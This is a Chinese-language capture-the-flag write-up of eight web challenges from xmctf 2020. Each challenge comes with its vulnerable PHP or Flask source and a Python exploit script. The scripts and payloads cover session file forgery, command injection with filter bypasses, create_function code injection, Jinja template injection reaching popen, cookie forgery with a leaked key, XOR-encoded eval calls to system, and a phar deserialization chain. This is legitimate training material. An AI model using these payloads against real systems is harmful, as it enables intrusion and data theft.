0%

xmctf 2020

星盟战队的考核题,一共做了8道题,记录一下解题过程

image-20201216234950487

web3-考核

题目源码为

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$content = @$_GET['content'] ? "---mylocalnote---\n" . $_GET['content'] : "";
$name = @$_GET['name'] ? $_GET['name'] : '';
str_replace('/', '', $name);
str_replace('\\', '', $name);
file_put_contents("/tmp/" . $name, $content);
session_start();
if (isset($_SESSION['username'])) {
echo "Thank u,{$_SESSION['username']}";
}
//flag in flag.php

题目提示flag在flag.php下,访问提示

1
u are not admin,only admin can see flag!

根据提示说只有admin才可以看到flag,说明我们需要满足$_SESSION['username']='admin',刚好题目中又存在file_put_contents函数可以往/tmp目录下写文件,使用burpsuite抓包的时候看到有个PHPSESSID,可以想到php中默认存储的文件名为sess_PHPSESSID,那么就可以往里面写入伪造用户的信息了,php默认的存储引擎格式为:键名+竖线+经过serialize()函数处理的值,所以我们可以写入的伪造信息为username|s:6:'admin';,但是题目前面给我们拼接了一串字符"---mylocalnote---\n",所以我们需要闭合一下,把他当做一个键值,就不会影响到我们后面的东西了

伪造好session信息后,访问flag.php即可获得flag,这里给出exp

1
2
3
4
5
6
7
8
9
10
11
import requests
r = requests.session()
url = "http://xmctf.top:8809/"
response = r.get(url)
PHPSESSID = response.cookies["PHPSESSID"]
payload = '?content=|N;username|s:5:"admin";&name=sess_'+PHPSESSID
r.get(url+payload)
url2 = "http://xmctf.top:8809/flag.php"
response2 = r.get(url2+payload)
flag = response2.text
print(flag)

image-20201217195705321

RCE-训练

源码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php
error_reporting(0);
highlight_file(__file__);
$ip = $_GET['ip'];
if (isset($ip)) {
if(preg_match("/(;|`| |&|cp|mv|cat|tail|more|rev|tac|\*|\{)/i", $ip)){
die("hack");
}else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("no!>");
}
$a = shell_exec("ping -c 4 ".$ip);
var_dump($a);
}
?>

题目过滤了一些字符,可以使用base64+%09绕一下过滤,直接拿祥云杯Command这题的payload就能打,先用ls /找到flag在根目录下,然后直接cat /flag就行了,这里直接给出exp

1
2
3
4
5
6
7
import requests
r = requests.session()
url = "http://xmctf.top:8931/"
payload = '?ip=|echo%09%22Y2F0IC9mbGFn%22|base64%09-d|ba\s\h'
response = r.get(url+payload)
result = response.text
print(result)

image-20201216164519144

easy-web-考核

题目源码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
show_source(__FILE__);
$key = "bad";
extract($_POST);
if($key === 'bad'){
die('badbad!!!');
}
$act = @$_GET['act'];
$arg = @$_GET['arg'];
if(preg_match('/^[a-z0-9_]*$/isD',$act)) {
echo 'check';
} else {
$act($arg,'');
}

echo '666';

一开始看到extract函数又看到$key必须全等于bad,很明显的变量覆盖,我们直接使用key=1即可绕过,然后看到$act($arg,'');,在y1ng师傅之前出的一道题目[BJDCTF2020]EzPHP里面看到 过,不难想到用create_function函数来做这道题,首先需要用\来绕过这个正则,然后create_function这个函数第一个param是声明变量,第二个param是传递执行的代码

然后这道题目第二个param是为空的,所以我们需要在第一个param用){}来闭合前面的方法,然后用//来注释后面没用的部分

1
2
3
4
5
<?php
$a = '){}phpinfo();//';
$myFunc = create_function($a,'');
//效果如下
function myFunc(){}phpinfo();//){}

这里直接给个exp

1
2
3
4
5
6
7
8
import requests
r = requests.session()
url = "http://xmctf.top:8848"
payload = '?act=\create_function&arg=){}system("cat /ffflll4g");//'
data = {"key":"1"}
response = r.post(url+payload,data=data)
result = response.text
print(result)

image-20201216154253806

web8-考核

1
2
3
Only the admin can get the flag,flag in /flag

you name is None

提示只有admin用户才能够得到flag,burp抓包之后发现jwt编码的cookie,猜测需要jwt伪造

1
http://xmctf.top:8850/?name={{config}}

然后在{{config}}中发现了密钥woshicaiji

然后使用flask_session_cookie_manager脚本伪造成admin即可

image-20201216235940134

这里给个exp

1
2
3
4
5
6
7
8
9
import requests
r = requests.session()
url = "http://xmctf.top:8850/flag"
headers = {
'Cookie':'session=eyJ1c2VybmFtZSI6eyIgYiI6IllXUnRhVzQ9In19.X9osaw.dYn7Gi00wAWefFCApz5jqOdYjsU'
}
response = r.get(url,headers=headers)
result = response.text
print(result)

image-20201217104001551

web11-考核

本题考察的点为SSTI,随手试了一下发现?name=kawhi,会回显,于是fuzz一下

image-20201216173217133

主要过滤了_.,还发现过滤了args,可以想到用values绕过,但不知道为何我使用values绕过的时候会报一个500的错误,于是此方法作罢,但可以使用16进制绕过,先跑跑索引吧

1
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()}}

image-20201217104536108

这里使用跑的是popen的方法,os._wrao_close索引为117,但有个小坑最后的flag文件不能够直接读到,会提示如下,但发现base64编码后即可读取

1
'flag' in result !!!Bighack

这里直接给个exp

1
2
3
4
5
6
7
8
9
import requests
import re
import base64
r = requests.session()
url = "http://xmctf.top:8960/?name="
payload = '{{()["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbases\\x5f\\x5f"][0]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[117]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["popen"]("cat /fl4g|base64")["read"]()}}'
response = r.get(url+payload)
flag = re.findall("Hello (.*)",response.text)[0]
print(base64.b64decode(flag))

image-20201217112138434

web12-考核

题目源码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
header("Content-Type: text/html;charset=utf-8");
include "flag.php";
echo "flag在哪里呢?<br>";
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|cu|readfile|flip|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

比较简单的一道题,无参数RCE,先读取目录文件

1
?exp=var_dump(scandir(pos(localeconv())));

得到

1
array(6) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) ".git" [3]=> string(5) "1.php" [4]=> string(8) "flag.php" [5]=> string(9) "index.php" } 

发现flag.php在倒数第二个位置上面,用反转数组再next读下一个即可

这里直接给个exp

1
2
3
4
5
6
7
8
import requests
import re
r = requests.session()
url = "http://xmctf.top:8873/"
payload = '?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));'
response = r.get(url+payload)
flag = re.findall("0\">'(.*)'</span",response.text)[1]
print(flag)

image-20201217115235793

web4-考核

一开始打开题目啥都没,给了个

1
key:e086aa137fa19f67d27b39d0eca18610

md5解密后为:1.1.1.1,抓包加XFF头:X-Forwarded-For:1.1.1.1,然后就可以得到:dhudndrgrhs.php

访问得到题目源码为

1
2
3
4
5
6
7
8
9
10
11
<?php
show_source(__FILE__);
error_reporting(0);
$disable_fun = ["assert","print_r","system", "shell_exec","ini_set", "scandir", "exec","proc_open", "error_log", "ini_alter", "ini_set", "pfsockopen", "readfile", "echo", "file_get_contents", "readlink", "symlink", "popen", "fopen", "file", "fpassthru"];
$disable_fun = array_merge($disable_fun, get_defined_functions()['internal']);
foreach($disable_fun as $i){
if(stristr($_GET[shell], $i)!==false){
die('xmctf');
}
}
eval($_GET[shell]);

本题数组合并把一个数组的函数和php的内置函数一起作为黑名单,然后有个eval的参数是可以任意控制的,一看就知道用构造无字符去绕过了,这种题遇见过很多次了,随便拿个payload打打即可

这里直接给个exp

1
2
3
4
5
6
7
import requests
import re
r = requests.session()
url = "http://xmctf.top:8979/dhudndrgrhs.php"
payload = '?shell=${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}(${%a0%b8%ba%ab^%ff%ff%ff%ff}{%a0});&%ff=system&%a0=cat flag.php'
response = r.get(url+payload)
print(response.text)

image-20201217134249722

web6-考核

看到页面有个download.php,扫描目录有个class.php,但是有个正则过滤了class,用斜杠绕过即可下载下来,源码如下

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php
class Show
{
public $source;
public $str;
public function __construct()
{
$text= $this->source;
$text = base64_encode(file_get_contents($text));
return $text;
}
public function __toString()
{
$text= $this->source;
$text = base64_encode(file_get_contents($text));
return $text;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|flag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class S6ow
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->params[$key];
}
public function __call($name, $arguments)
{
if($this->{$name})
$this->{$this->{$name}}($arguments);
}
public function file_get($value)
{
echo $this->file;
}
}

class Sh0w
{
public $test;
public $str;
public function __construct($name)
{
$this->str = new Show('index.php');
$this->str->source = $this->test;

}
public function __destruct()
{
$this->str->_show();
}
}
?>

又找到有个file.php,看到有个file_exists,这个函数可以使用phar协议,然后又有文件上传,满足这几个条件的话phar反序列化八九不离十了,主要是怎么构造反序列化的链条

这里首先看到Show类__toString方法里面有个file_get_contents可以读取文件,这个地方应该是链条的终点,然后调用__toString方法的话一般是echo对象或者字符串对比啥的,然后看到S6ow类有个file_get里面有个echo,这里可以调用__toString方法,然后就要想办法调用file_get

这里可以先看到有个__call__get,可以通过__get去调用file_get,然后调用__get需要不可访问的变量,这时候可以用__call去触发,最后在__call的调用需要用到Sh0w__destruct中访问_show(),我们可以设置str为S6ow,而S6ow缺少_show()方法从而调用__call

链条加上生成phar文件的payload为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class Show
{
public $source;
public $str;
public function __construct()
{
$this->source = 'flag';
}
}
class S6ow
{
public $file;
public $params;
public function __construct()
{
$this->file=new Show();
$this->params['_show']='file_get';
}
}
class Sh0w
{
public $test;
public $str;
public function __construct()
{
$this->str = new s6ow();
}

}
$Sh0w = new Sh0w();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($Sh0w); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

然后将生成的phar.phar重命名为phar.jpg上传,计算一下md5值

1
2
3
<?php
echo md5('phar.jpg');?>
//628941e623f5a967093007bf39be805f

最后在file.php用phar协议去触发我们的反序列化即可,payload如下

1
http://xmctf.top:8874/file.php?file=phar://upload/628941e623f5a967093007bf39be805f.jpg

image-20201217191850645

base64解码之后即可得到flag

1
xmctf{ph4r_s3r1al1z3_1s_fu9!}